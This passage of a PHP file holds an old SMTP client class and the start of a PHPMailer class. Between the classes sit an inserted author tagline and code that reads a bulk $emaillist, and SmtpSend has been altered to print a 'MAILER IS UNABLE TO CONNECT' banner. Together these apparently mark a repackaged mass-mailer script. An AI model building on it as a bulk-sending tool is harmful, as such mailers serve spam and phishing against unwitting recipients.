915 function SendHello($hello, $host) {
916 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
917
918 $rply = $this->get_lines();
919 $code = substr($rply,0,3);
920
921 if($this->do_debug >= 2) {
922 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
923 }
924
925 if($code != 250) {
926 $this->error =
927 array("error" => $hello . " not accepted from server",
928 "smtp_code" => $code,
929 "smtp_msg" => substr($rply,4));
930 if($this->do_debug >= 1) {
931 echo "SMTP -> ERROR: " . $this->error["error"] .
932 ": " . $rply . $this->CRLF;
933 }
934 return false;
935 }
936
937 $this->helo_rply = $rply;
938
939 return true;
940 }
941
942 /**
943 * Gets help information on the keyword specified. If the keyword
944 * is not specified then returns generic help, ussually contianing
945 * A list of keywords that help is available on. This function
946 * returns the results back to the user. It is up to the user to
947 * handle the returned data. If an error occurs then false is
948 * returned with $this->error set appropiately.
949 *
950 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
951 *
952 * SMTP CODE SUCCESS: 211,214
953 * SMTP CODE ERROR : 500,501,502,504,421
954 * @access public
955 * @return string
956 */
957 function Help($keyword="") {
958 $this->error = null; # to avoid confusion
959
960 if(!$this->connected()) {
961 $this->error = array(
962 "error" => "Called Help() without being connected");
963 return false;
964 }
965
966 $extra = "";
967 if(!empty($keyword)) {
968 $extra = " " . $keyword;
969 }
970
971 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
972
973 $rply = $this->get_lines();
974 $code = substr($rply,0,3);
975
976 if($this->do_debug >= 2) {
977 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
978 }
979
980 if($code != 211 && $code != 214) {
981 $this->error =
982 array("error" => "HELP not accepted from server",
983 "smtp_code" => $code,
984 "smtp_msg" => substr($rply,4));
985 if($this->do_debug >= 1) {
986 echo "SMTP -> ERROR: " . $this->error["error"] .
987 ": " . $rply . $this->CRLF;
988 }
989 return false;
990 }
991
992 return $rply;
993 }
994
995 /**
996 * Starts a mail transaction from the email address specified in
997 * $from. Returns true if successful or false otherwise. If True
998 * the mail transaction is started and then one or more Recipient
999 * commands may be called followed by a Data command.
1000 *
1001 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
1002 *
1003 * SMTP CODE SUCCESS: 250
1004 * SMTP CODE SUCCESS: 552,451,452
1005 * SMTP CODE SUCCESS: 500,501,421
1006 * @access public
1007 * @return bool
1008 */
1009 function Mail($from) {
1010 $this->error = null; # so no confusion is caused
1011
1012 if(!$this->connected()) {
1013 $this->error = array(
1014 "error" => "Called Mail() without being connected");
1015 return false;
1016 }
1017
1018 $useVerp = ($this->do_verp ? "XVERP" : "");
1019 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
1020
1021 $rply = $this->get_lines();
1022 $code = substr($rply,0,3);
1023
1024 if($this->do_debug >= 2) {
1025 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1026 }
1027
1028 if($code != 250) {
1029 $this->error =
1030 array("error" => "MAIL not accepted from server",
1031 "smtp_code" => $code,
1032 "smtp_msg" => substr($rply,4));
1033 if($this->do_debug >= 1) {
1034 echo "SMTP -> ERROR: " . $this->error["error"] .
1035 ": " . $rply . $this->CRLF;
1036 }
1037 return false;
1038 }
1039 return true;
1040 }
1041
1042 /**
1043 * Sends the command NOOP to the SMTP server.
1044 *
1045 * Implements from rfc 821: NOOP <CRLF>
1046 *
1047 * SMTP CODE SUCCESS: 250
1048 * SMTP CODE ERROR : 500, 421
1049 * @access public
1050 * @return bool
1051 */
1052 function Noop() {
1053 $this->error = null; # so no confusion is caused
1054
1055 if(!$this->connected()) {
1056 $this->error = array(
1057 "error" => "Called Noop() without being connected");
1058 return false;
1059 }
1060
1061 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
1062
1063 $rply = $this->get_lines();
1064 $code = substr($rply,0,3);
1065
1066 if($this->do_debug >= 2) {
1067 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1068 }
1069
1070 if($code != 250) {
1071 $this->error =
1072 array("error" => "NOOP not accepted from server",
1073 "smtp_code" => $code,
1074 "smtp_msg" => substr($rply,4));
1075 if($this->do_debug >= 1) {
1076 echo "SMTP -> ERROR: " . $this->error["error"] .
1077 ": " . $rply . $this->CRLF;
1078 }
1079 return false;
1080 }
1081 return true;
1082 }
1083
1084 /**
1085 * Sends the quit command to the server and then closes the socket
1086 * if there is no error or the $close_on_error argument is true.
1087 *
1088 * Implements from rfc 821: QUIT <CRLF>
1089 *
1090 * SMTP CODE SUCCESS: 221
1091 * SMTP CODE ERROR : 500
1092 * @access public
1093 * @return bool
1094 */
1095 function Quit($close_on_error=true) {
1096 $this->error = null; # so there is no confusion
1097
1098 if(!$this->connected()) {
1099 $this->error = array(
1100 "error" => "Called Quit() without being connected");
1101 return false;
1102 }
1103
1104 # send the quit command to the server
1105 fputs($this->smtp_conn,"quit" . $this->CRLF);
1106
1107 # get any good-bye messages
1108 $byemsg = $this->get_lines();
1109
1110 if($this->do_debug >= 2) {
1111 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1112 }
1113
1114 $rval = true;
1115 $e = null;
1116
1117 $code = substr($byemsg,0,3);
1118 if($code != 221) {
1119 # use e as a tmp var cause Close will overwrite $this->error
1120 $e = array("error" => "SMTP server rejected quit command",
1121 "smtp_code" => $code,
1122 "smtp_rply" => substr($byemsg,4));
1123 $rval = false;
1124 if($this->do_debug >= 1) {
1125 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1126 $byemsg . $this->CRLF;
1127 }
1128 }
1129
1130 if(empty($e) || $close_on_error) {
1131 $this->Close();
1132 }
1133
1134 return $rval;
1135 }
1136
1137 /**
1138 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1139 * Returns true if the recipient was accepted false if it was rejected.
1140 *
1141 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1142 *
1143 * SMTP CODE SUCCESS: 250,251
1144 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1145 * SMTP CODE ERROR : 500,501,503,421
1146 * @access public
1147 * @return bool
1148 */
1149 function Recipient($to) {
1150 $this->error = null; # so no confusion is caused
1151
1152 if(!$this->connected()) {
1153 $this->error = array(
1154 "error" => "Called Recipient() without being connected");
1155 return false;
1156 }
1157
1158 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1159
1160 $rply = $this->get_lines();
1161 $code = substr($rply,0,3);
1162
1163 if($this->do_debug >= 2) {
1164 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1165 }
1166
1167 if($code != 250 && $code != 251) {
1168 $this->error =
1169 array("error" => "RCPT not accepted from server",
1170 "smtp_code" => $code,
1171 "smtp_msg" => substr($rply,4));
1172 if($this->do_debug >= 1) {
1173 echo "SMTP -> ERROR: " . $this->error["error"] .
1174 ": " . $rply . $this->CRLF;
1175 }
1176 return false;
1177 }
1178 return true;
1179 }
1180
1181 /**
1182 * Sends the RSET command to abort and transaction that is
1183 * currently in progress. Returns true if successful false
1184 * otherwise.
1185 *
1186 * Implements rfc 821: RSET <CRLF>
1187 *
1188 * SMTP CODE SUCCESS: 250
1189 * SMTP CODE ERROR : 500,501,504,421
1190 * @access public
1191 * @return bool
1192 */
1193 function Reset() {
1194 $this->error = null; # so no confusion is caused
1195
1196 if(!$this->connected()) {
1197 $this->error = array(
1198 "error" => "Called Reset() without being connected");
1199 return false;
1200 }
1201
1202 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1203
1204 $rply = $this->get_lines();
1205 $code = substr($rply,0,3);
1206
1207 if($this->do_debug >= 2) {
1208 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1209 }
1210
1211 if($code != 250) {
1212 $this->error =
1213 array("error" => "RSET failed",
1214 "smtp_code" => $code,
1215 "smtp_msg" => substr($rply,4));
1216 if($this->do_debug >= 1) {
1217 echo "SMTP -> ERROR: " . $this->error["error"] .
1218 ": " . $rply . $this->CRLF;
1219 }
1220 return false;
1221 }
1222
1223 return true;
1224 }
1225
1226 /**
1227 * Starts a mail transaction from the email address specified in
1228 * $from. Returns true if successful or false otherwise. If True
1229 * the mail transaction is started and then one or more Recipient
1230 * commands may be called followed by a Data command. This command
1231 * will send the message to the users terminal if they are logged
1232 * in.
1233 *
1234 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1235 *
1236 * SMTP CODE SUCCESS: 250
1237 * SMTP CODE SUCCESS: 552,451,452
1238 * SMTP CODE SUCCESS: 500,501,502,421
1239 * @access public
1240 * @return bool
1241 */
1242 function Send($from) {
1243 $this->error = null; # so no confusion is caused
1244
1245 if(!$this->connected()) {
1246 $this->error = array(
1247 "error" => "Called Send() without being connected");
1248 return false;
1249 }
1250
1251 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1252
1253 $rply = $this->get_lines();
1254 $code = substr($rply,0,3);
1255
1256 if($this->do_debug >= 2) {
1257 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1258 }
1259
1260 if($code != 250) {
1261 $this->error =
1262 array("error" => "SEND not accepted from server",
1263 "smtp_code" => $code,
1264 "smtp_msg" => substr($rply,4));
1265 if($this->do_debug >= 1) {
1266 echo "SMTP -> ERROR: " . $this->error["error"] .
1267 ": " . $rply . $this->CRLF;
1268 }
1269 return false;
1270 }
1271 return true;
1272 }
1273
1274 /**
1275 * Starts a mail transaction from the email address specified in
1276 * $from. Returns true if successful or false otherwise. If True
1277 * the mail transaction is started and then one or more Recipient
1278 * commands may be called followed by a Data command. This command
1279 * will send the message to the users terminal if they are logged
1280 * in and send them an email.
1281 *
1282 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1283 *
1284 * SMTP CODE SUCCESS: 250
1285 * SMTP CODE SUCCESS: 552,451,452
1286 * SMTP CODE SUCCESS: 500,501,502,421
1287 * @access public
1288 * @return bool
1289 */
1290 function SendAndMail($from) {
1291 $this->error = null; # so no confusion is caused
1292
1293 if(!$this->connected()) {
1294 $this->error = array(
1295 "error" => "Called SendAndMail() without being connected");
1296 return false;
1297 }
1298
1299 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1300
1301 $rply = $this->get_lines();
1302 $code = substr($rply,0,3);
1303
1304 if($this->do_debug >= 2) {
1305 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1306 }
1307
1308 if($code != 250) {
1309 $this->error =
1310 array("error" => "SAML not accepted from server",
1311 "smtp_code" => $code,
1312 "smtp_msg" => substr($rply,4));
1313 if($this->do_debug >= 1) {
1314 echo "SMTP -> ERROR: " . $this->error["error"] .
1315 ": " . $rply . $this->CRLF;
1316 }
1317 return false;
1318 }
1319 return true;
1320 }
1321
1322 /**
1323 * Starts a mail transaction from the email address specified in
1324 * $from. Returns true if successful or false otherwise. If True
1325 * the mail transaction is started and then one or more Recipient
1326 * commands may be called followed by a Data command. This command
1327 * will send the message to the users terminal if they are logged
1328 * in or mail it to them if they are not.
1329 *
1330 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1331 *
1332 * SMTP CODE SUCCESS: 250
1333 * SMTP CODE SUCCESS: 552,451,452
1334 * SMTP CODE SUCCESS: 500,501,502,421
1335 * @access public
1336 * @return bool
1337 */
1338 function SendOrMail($from) {
1339 $this->error = null; # so no confusion is caused
1340
1341 if(!$this->connected()) {
1342 $this->error = array(
1343 "error" => "Called SendOrMail() without being connected");
1344 return false;
1345 }
1346
1347 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1348
1349 $rply = $this->get_lines();
1350 $code = substr($rply,0,3);
1351
1352 if($this->do_debug >= 2) {
1353 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1354 }
1355
1356 if($code != 250) {
1357 $this->error =
1358 array("error" => "SOML not accepted from server",
1359 "smtp_code" => $code,
1360 "smtp_msg" => substr($rply,4));
1361 if($this->do_debug >= 1) {
1362 echo "SMTP -> ERROR: " . $this->error["error"] .
1363 ": " . $rply . $this->CRLF;
1364 }
1365 return false;
1366 }
1367 return true;
1368 }
1369
1370 /**
1371 * This is an optional command for SMTP that this class does not
1372 * support. This method is here to make the RFC821 Definition
1373 * complete for this class and __may__ be implimented in the future
1374 *
1375 * Implements from rfc 821: TURN <CRLF>
1376 *
1377 * SMTP CODE SUCCESS: 250
1378 * SMTP CODE FAILURE: 502
1379 * SMTP CODE ERROR : 500, 503
1380 * @access public
1381 * @return bool
1382 */
1383 function Turn() {
1384 $this->error = array("error" => "This method, TURN, of the SMTP ".
1385 "is not implemented");
1386 if($this->do_debug >= 1) {
1387 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1388 }
1389 return false;
1390 }
1391
1392 /**
1393 * Verifies that the name is recognized by the server.
1394 * Returns false if the name could not be verified otherwise
1395 * the response from the server is returned.
1396 *
1397 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1398 *
1399 * SMTP CODE SUCCESS: 250,251
1400 * SMTP CODE FAILURE: 550,551,553
1401 * SMTP CODE ERROR : 500,501,502,421
1402 * @access public
1403 * @return int
1404 */
1405 function Verify($name) {
1406 $this->error = null; # so no confusion is caused
1407
1408 if(!$this->connected()) {
1409 $this->error = array(
1410 "error" => "Called Verify() without being connected");
1411 return false;
1412 }
1413
1414 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1415
1416 $rply = $this->get_lines();
1417 $code = substr($rply,0,3);
1418
1419 if($this->do_debug >= 2) {
1420 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1421 }
1422
1423 if($code != 250 && $code != 251) {
1424 $this->error =
1425 array("error" => "VRFY failed on name '$name'",
1426 "smtp_code" => $code,
1427 "smtp_msg" => substr($rply,4));
1428 if($this->do_debug >= 1) {
1429 echo "SMTP -> ERROR: " . $this->error["error"] .
1430 ": " . $rply . $this->CRLF;
1431 }
1432 return false;
1433 }
1434 return $rply;
1435 }
1436
1437 /*******************************************************************
1438 * INTERNAL FUNCTIONS *
1439 ******************************************************************/
1440
1441 /**
1442 * Read in as many lines as possible
1443 * either before eof or socket timeout occurs on the operation.
1444 * With SMTP we can tell if we have more lines to read if the
1445 * 4th character is '-' symbol. If it is a space then we don't
1446 * need to read anything else.
1447 * @access private
1448 * @return string
1449 */
1450 function get_lines() {
1451 $data = "";
1452 while($str = @fgets($this->smtp_conn,515)) {
1453 if($this->do_debug >= 4) {
1454 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1455 $this->CRLF;
1456 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1457 $this->CRLF;
1458 }
1459 $data .= $str;
1460 if($this->do_debug >= 4) {
1461 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1462 }
1463 # if the 4th character is a space then we are done reading
1464 # so just break the loop
1465 if(substr($str,3,1) == " ") { break; }
1466 }
1467 return $data;
1468 }
1469
1470}
1471 // Here Bitchz Hilmy
1472
1473$allemails = split("\n", $emaillist);
1474$numemails = count($allemails);
1475
1476class PHPMailer {
1477
1478 /////////////////////////////////////////////////
1479 // PROPERTIES, PUBLIC
1480 /////////////////////////////////////////////////
1481
1482 /**
1483 * Email priority (1 = High, 3 = Normal, 5 = low).
1484 * @var int
1485 */
1486 var $Priority = 3;
1487
1488 /**
1489 * Sets the CharSet of the message.
1490 * @var string
1491 */
1492 var $CharSet = 'us-ascii';
1493
1494 /**
1495 * Sets the Content-type of the message.
1496 * @var string
1497 */
1498 var $ContentType = 'text/plain';
1499
1500 /**
1501 * Sets the Encoding of the message. Options for this are "8bit",
1502 * "7bit", "binary", "base64", and "quoted-printable".
1503
1504 * @var string
1505 */
1506 var $Encoding = 'quoted-printable';
1507
1508 /**
1509 * Holds the most recent mailer error message.
1510 * @var string
1511 */
1512 var $ErrorInfo = '';
1513
1514 /**
1515 * Sets the From email address for the message.
1516 * @var string
1517 */
1518 var $From = '';
1519
1520 /**
1521 * Sets the From name of the message.
1522 * @var string
1523 */
1524 var $FromName = '';
1525
1526 /**
1527 * Sets the Sender email (Return-Path) of the message. If not empty,
1528 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1529 * @var string
1530 */
1531 var $Sender = '';
1532
1533 /**
1534 * Sets the Subject of the message.
1535 * @var string
1536 */
1537 var $Subject = '';
1538
1539 /**
1540 * Sets the Body of the message. This can be either an HTML or text body.
1541 * If HTML then run IsHTML(true).
1542 * @var string
1543 */
1544 var $Body = '';
1545
1546 /**
1547 * Sets the text-only body of the message. This automatically sets the
1548 * email to multipart/alternative. This body can be read by mail
1549 * clients that do not have HTML email capability such as mutt. Clients
1550 * that can read HTML will view the normal Body.
1551 * @var string
1552 */
1553 var $AltBody = '';
1554
1555 /**
1556 * Sets word wrapping on the body of the message to a given number of
1557 * characters.
1558 * @var int
1559 */
1560 var $WordWrap = 0;
1561
1562 /**
1563 * Method to send mail: ("mail", "sendmail", or "smtp").
1564 * @var string
1565 */
1566 var $Mailer = 'mail';
1567
1568 /**
1569 * Sets the path of the sendmail program.
1570 * @var string
1571 */
1572 var $Sendmail = '/usr/sbin/sendmail';
1573
1574 /**
1575 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1576 * is in a different directory than the PHP include path.
1577 * @var string
1578 */
1579 var $PluginDir = '';
1580
1581 /**
1582 * Holds PHPMailer version.
1583 * @var string
1584 */
1585 var $Version = "";
1586
1587 /**
1588 * Sets the email address that a reading confirmation will be sent.
1589 * @var string
1590 */
1591 var $ConfirmReadingTo = '';
1592
1593 /**
1594 * Sets the hostname to use in Message-Id and Received headers
1595 * and as default HELO string. If empty, the value returned
1596 * by SERVER_NAME is used or 'localhost.localdomain'.
1597 * @var string
1598 */
1599 var $Hostname = '';
1600
1601 /**
1602 * Sets the message ID to be used in the Message-Id header.
1603 * If empty, a unique id will be generated.
1604 * @var string
1605 */
1606 var $MessageID = '';
1607
1608 /////////////////////////////////////////////////
1609 // PROPERTIES FOR SMTP
1610 /////////////////////////////////////////////////
1611
1612 /**
1613 * Sets the SMTP hosts. All hosts must be separated by a
1614 * semicolon. You can also specify a different port
1615 * for each host by using this format: [hostname:port]
1616 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1617 * Hosts will be tried in order.
1618 * @var string
1619 */
1620 var $Host = 'localhost';
1621
1622 /**
1623 * Sets the default SMTP server port.
1624 * @var int
1625 */
1626 var $Port = 25;
1627
1628 /**
1629 * Sets the SMTP HELO of the message (Default is $Hostname).
1630 * @var string
1631 */
1632 var $Helo = '';
1633
1634 /**
1635 * Sets connection prefix.
1636 * Options are "", "ssl" or "tls"
1637 * @var string
1638 */
1639 var $SMTPSecure = "";
1640
1641 /**
1642 * Sets SMTP authentication. Utilizes the Username and Password variables.
1643 * @var bool
1644 */
1645 var $SMTPAuth = false;
1646
1647 /**
1648 * Sets SMTP username.
1649 * @var string
1650 */
1651 var $Username = '';
1652
1653 /**
1654 * Sets SMTP password.
1655 * @var string
1656 */
1657 var $Password = '';
1658
1659 /**
1660 * Sets the SMTP server timeout in seconds. This function will not
1661 * work with the win32 version.
1662 * @var int
1663 */
1664 var $Timeout = 10;
1665
1666 /**
1667 * Sets SMTP class debugging on or off.
1668 * @var bool
1669 */
1670 var $SMTPDebug = false;
1671
1672 /**
1673 * Prevents the SMTP connection from being closed after each mail
1674 * sending. If this is set to true then to close the connection
1675 * requires an explicit call to SmtpClose().
1676 * @var bool
1677 */
1678 var $SMTPKeepAlive = false;
1679
1680 /**
1681 * Provides the ability to have the TO field process individual
1682 * emails, instead of sending to entire TO addresses
1683 * @var bool
1684 */
1685 var $SingleTo = false;
1686
1687 /////////////////////////////////////////////////
1688 // PROPERTIES, PRIVATE
1689 /////////////////////////////////////////////////
1690
1691 var $smtp = NULL;
1692 var $to = array();
1693 var $cc = array();
1694 var $bcc = array();
1695 var $ReplyTo = array();
1696 var $attachment = array();
1697 var $CustomHeader = array();
1698 var $message_type = '';
1699 var $boundary = array();
1700 var $language = array();
1701 var $error_count = 0;
1702 var $LE = "\n";
1703 var $sign_key_file = "";
1704 var $sign_key_pass = "";
1705
1706 /////////////////////////////////////////////////
1707 // METHODS, VARIABLES
1708 /////////////////////////////////////////////////
1709
1710 /**
1711 * Sets message type to HTML.
1712 * @param bool $bool
1713 * @return void
1714 */
1715 function IsHTML($bool) {
1716 if($bool == true) {
1717 $this->ContentType = 'text/html';
1718 } else {
1719 $this->ContentType = 'text/plain';
1720 }
1721 }
1722
1723 /**
1724 * Sets Mailer to send message using SMTP.
1725 * @return void
1726 */
1727 function IsSMTP() {
1728 $this->Mailer = 'smtp';
1729 }
1730
1731 /**
1732 * Sets Mailer to send message using PHP mail() function.
1733 * @return void
1734 */
1735 function IsMail() {
1736 $this->Mailer = 'mail';
1737 }
1738
1739 /**
1740 * Sets Mailer to send message using the $Sendmail program.
1741 * @return void
1742 */
1743 function IsSendmail() {
1744 $this->Mailer = 'sendmail';
1745 }
1746
1747 /**
1748 * Sets Mailer to send message using the qmail MTA.
1749 * @return void
1750 */
1751 function IsQmail() {
1752 $this->Sendmail = '/var/qmail/bin/sendmail';
1753 $this->Mailer = 'sendmail';
1754 }
1755
1756 /////////////////////////////////////////////////
1757 // METHODS, RECIPIENTS
1758 /////////////////////////////////////////////////
1759
1760 /**
1761 * Adds a "To" address.
1762 * @param string $address
1763 * @param string $name
1764 * @return void
1765 */
1766 function AddAddress($address, $name = '') {
1767 $cur = count($this->to);
1768 $this->to[$cur][0] = trim($address);
1769 $this->to[$cur][1] = $name;
1770 }
1771
1772 /**
1773 * Adds a "Cc" address. Note: this function works
1774 * with the SMTP mailer on win32, not with the "mail"
1775 * mailer.
1776 * @param string $address
1777 * @param string $name
1778 * @return void
1779 */
1780 function AddCC($address, $name = '') {
1781 $cur = count($this->cc);
1782 $this->cc[$cur][0] = trim($address);
1783 $this->cc[$cur][1] = $name;
1784 }
1785
1786 /**
1787 * Adds a "Bcc" address. Note: this function works
1788 * with the SMTP mailer on win32, not with the "mail"
1789 * mailer.
1790 * @param string $address
1791 * @param string $name
1792 * @return void
1793 */
1794 function AddBCC($address, $name = '') {
1795 $cur = count($this->bcc);
1796 $this->bcc[$cur][0] = trim($address);
1797 $this->bcc[$cur][1] = $name;
1798 }
1799
1800 /**
1801 * Adds a "Reply-To" address.
1802 * @param string $address
1803 * @param string $name
1804 * @return void
1805 */
1806 function AddReplyTo($address, $name = '') {
1807 $cur = count($this->ReplyTo);
1808 $this->ReplyTo[$cur][0] = trim($address);
1809 $this->ReplyTo[$cur][1] = $name;
1810 }
1811
1812 /////////////////////////////////////////////////
1813 // METHODS, MAIL SENDING
1814 /////////////////////////////////////////////////
1815
1816 /**
1817 * Creates message and assigns Mailer. If the message is
1818 * not sent successfully then it returns false. Use the ErrorInfo
1819 * variable to view description of the error.
1820 * @return bool
1821 */
1822 function Send() {
1823 $header = '';
1824 $body = '';
1825 $result = true;
1826
1827 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1828 $this->SetError($this->Lang('provide_address'));
1829 return false;
1830 }
1831
1832 /* Set whether the message is multipart/alternative */
1833 if(!empty($this->AltBody)) {
1834 $this->ContentType = 'multipart/alternative';
1835 }
1836
1837 $this->error_count = 0; // reset errors
1838 $this->SetMessageType();
1839 $header .= $this->CreateHeader();
1840 $body = $this->CreateBody();
1841
1842 if($body == '') {
1843 return false;
1844 }
1845
1846 /* Choose the mailer */
1847 switch($this->Mailer) {
1848 case 'sendmail':
1849 $result = $this->SendmailSend($header, $body);
1850 break;
1851 case 'smtp':
1852 $result = $this->SmtpSend($header, $body);
1853 break;
1854 case 'mail':
1855 $result = $this->MailSend($header, $body);
1856 break;
1857 default:
1858 $result = $this->MailSend($header, $body);
1859 break;
1860 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1861 //$result = false;
1862 //break;
1863 }
1864
1865 return $result;
1866 }
1867
1868 /**
1869 * Sends mail using the $Sendmail program.
1870 * @access private
1871 * @return bool
1872 */
1873 function SendmailSend($header, $body) {
1874 if ($this->Sender != '') {
1875 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1876 } else {
1877 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1878 }
1879
1880 if(!@$mail = popen($sendmail, 'w')) {
1881 $this->SetError($this->Lang('execute') . $this->Sendmail);
1882 return false;
1883 }
1884
1885 fputs($mail, $header);
1886 fputs($mail, $body);
1887
1888 $result = pclose($mail);
1889 if (version_compare(phpversion(), '4.2.3') == -1) {
1890 $result = $result >> 8 & 0xFF;
1891 }
1892 if($result != 0) {
1893 $this->SetError($this->Lang('execute') . $this->Sendmail);
1894 return false;
1895 }
1896 return true;
1897 }
1898
1899 /**
1900 * Sends mail using the PHP mail() function.
1901 * @access private
1902 * @return bool
1903 */
1904 function MailSend($header, $body) {
1905
1906 $to = '';
1907 for($i = 0; $i < count($this->to); $i++) {
1908 if($i != 0) { $to .= ', '; }
1909 $to .= $this->AddrFormat($this->to[$i]);
1910 }
1911
1912 $toArr = split(',', $to);
1913
1914 $params = sprintf("-oi -f %s", $this->Sender);
1915 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1916 $old_from = ini_get('sendmail_from');
1917 ini_set('sendmail_from', $this->Sender);
1918 if ($this->SingleTo === true && count($toArr) > 1) {
1919 foreach ($toArr as $key => $val) {
1920 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1921 }
1922 } else {
1923 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1924 }
1925 } else {
1926 if ($this->SingleTo === true && count($toArr) > 1) {
1927 foreach ($toArr as $key => $val) {
1928 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1929 }
1930 } else {
1931 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1932 }
1933 }
1934
1935 if (isset($old_from)) {
1936 ini_set('sendmail_from', $old_from);
1937 }
1938
1939 if(!$rt) {
1940 $this->SetError($this->Lang('instantiate'));
1941 return false;
1942 }
1943
1944 return true;
1945 }
1946
1947 /**
1948 * Sends mail via SMTP using PhpSMTP (Author:
1949 * Chris Ryan). Returns bool. Returns false if there is a
1950 * bad MAIL FROM, RCPT, or DATA input.
1951 * @access private
1952 * @return bool
1953 */
1954 function SmtpSend($header, $body) {
1955 $error = '';
1956 $bad_rcpt = array();
1957
1958 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1959 return false;
1960 }
1961
1962 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1963 if(!$this->smtp->Mail($smtp_from)) {
1964 $error = $this->Lang('from_failed') . $smtp_from;
1965 $this->SetError($error);
1966 $this->smtp->Reset();
1967 return false;
1968 }
1969
1970 /* Attempt to send attach all recipients */
1971 for($i = 0; $i < count($this->to); $i++) {
1972 if(!$this->smtp->Recipient($this->to[$i][0])) {
1973 $bad_rcpt[] = $this->to[$i][0];
1974 }
1975 }
1976 for($i = 0; $i < count($this->cc); $i++) {
1977 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1978 $bad_rcpt[] = $this->cc[$i][0];
1979 }
1980 }
1981 for($i = 0; $i < count($this->bcc); $i++) {
1982 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1983 $bad_rcpt[] = $this->bcc[$i][0];
1984 }
1985 }
1986
1987 if(count($bad_rcpt) > 0) { // Create error message
1988 for($i = 0; $i < count($bad_rcpt); $i++) {
1989 if($i != 0) {
1990 $error .= ', ';
1991 }
1992 $error .= $bad_rcpt[$i];
1993
1994 }
1995 $error = $this->Lang('recipients_failed') . $error;
1996 $this->SetError($error);
1997 $this->smtp->Reset();
1998 return false;
1999 }
2000
2001 if(!$this->smtp->Data($header . $body)) {
2002 $this->SetError($this->Lang('data_not_accepted'));
2003 $this->smtp->Reset();
2004 return false;
2005 }
2006 if($this->SMTPKeepAlive == true) {
2007 $this->smtp->Reset();
2008 } else {
2009 $this->SmtpClose();
2010 }
2011
2012 return true;
2013 }
2014
2015 /**
2016 * Initiates a connection to an SMTP server. Returns false if the
2017 * operation failed.
2018 * @access private
2019 * @return bool
2020 */
2021 function SmtpConnect() {
2022 if($this->smtp == NULL) {
2023 $this->smtp = new SMTP();
2024 }
2025
2026 $this->smtp->do_debug = $this->SMTPDebug;
2027 $hosts = explode(';', $this->Host);
2028 $index = 0;
2029 $connection = ($this->smtp->Connected());
2030
2031 /* Retry while there is no connection */
2032 while($index < count($hosts) && $connection == false) {
2033 $hostinfo = array();
2034 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
2035 $host = $hostinfo[1];
2036 $port = $hostinfo[2];
2037 } else {
2038 $host = $hosts[$index];
2039 $port = $this->Port;
2040 }
2041
2042 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
2043 if ($this->Helo != '') {
2044 $this->smtp->Hello($this->Helo);
2045 } else {
2046 $this->smtp->Hello($this->ServerHostname());
2047 }
2048
2049 $connection = true;
2050 if($this->SMTPAuth) {
2051 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
2052 $this->SetError($this->Lang('authenticate'));
2053 $this->smtp->Reset();
2054 $connection = false;
2055 }
2056 }
2057 }
2058 $index++;
2059 }
2060 if(!$connection) {
2061 $this->SetError($this->Lang('connect_host'));
2062 }
2063
2064 return $connection;
2065 }
2066
2067 /**
2068 * Closes the active SMTP session if one exists.
2069 * @return void
2070 */
